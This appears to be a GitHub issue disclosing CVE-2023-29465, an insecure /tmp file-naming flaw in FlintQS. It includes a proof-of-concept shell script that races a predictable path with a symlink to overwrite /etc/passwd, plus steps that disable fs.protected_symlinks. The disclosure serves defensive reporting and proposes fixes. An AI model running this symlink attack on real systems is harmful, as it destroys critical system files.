CVE-2023-29465: Unsafe TMPDIR usage

[orlitzky]

I've mentioned a vague /tmp vulnerability a few times, so here it is for posterity.

FlintQS uses temporary files in a few places, e.g. https://github.com/sagemath/FlintQS/blob/master/src/lprels.cpp#L494. If TMPDIR is set then FlintQS will respect it, but typically TMPDIR is set to a world-writable path like /tmp on UNIX. And in that case, the predictable filename chosen represents a security vulnerability. For example, in the line

char * REL_name = get_filename(tmp_dir,unique_filename(REL_str));

The get_filename() function simple concatenates its two arguments, a directory and a file, to make the path. Meanwhile unique_filename() concatenates the current UID and PID to the string you give it. Which is somewhat unique, but still predictable, since the UID and PID of a process are usually visible to other users on the machine. Since FlintQS uses a plain fopen() on these paths, it's vulnerable to all of the usual /tmp exploits.

As a proof of concept, the following script is designed to overwrite /etc/passwd when FlintQS is run as root with TMPDIR=/tmp:

# exploit.sh
EXT=""

while [ -z "${EXT}" ]; do
  EXT=$(ps -u 0 -C QuadraticSieve -o uid=,pid= | tr -s ' ' | tr ' ' .)
done

PATHNAME="${TMPDIR}/rels${EXT}"
ln -s /etc/passwd "${PATHNAME}"

Feel free to launch it,

$ export TMPDIR=/tmp
$ sh exploit.sh

Now, as root, in another terminal... BACK UP /etc/passwd. If you have it enabled, you'll first have to disable the (non-default, linux-only) fs.protected_symlinks sysctl on Linux that stops us from doing the exact thing that we're doing. Then simply launch QuadraticSieve. Your /etc/passwd should be overwritten.

# cp -a /etc/passwd /root
# sysctl fs.protected_symlinks=0
# export TMPDIR=/tmp
# echo 2239744742208359750202459571862470963447786169650421560804978144723333977920476664877327716487683639603 | QuadraticSieve

Finally, turn this back on:

# sysctl fs.protected_symlinks=1

A proper fix for this would require mkstemp(). However, a quadratic sieve is now available in FLINT itself, as qsieve_factor(). Instead of modernizing FlintQS (which is basically an old fork of the FLINT routine), I have opened sagemath/sage#35419 to replace FlintQS within SageMath.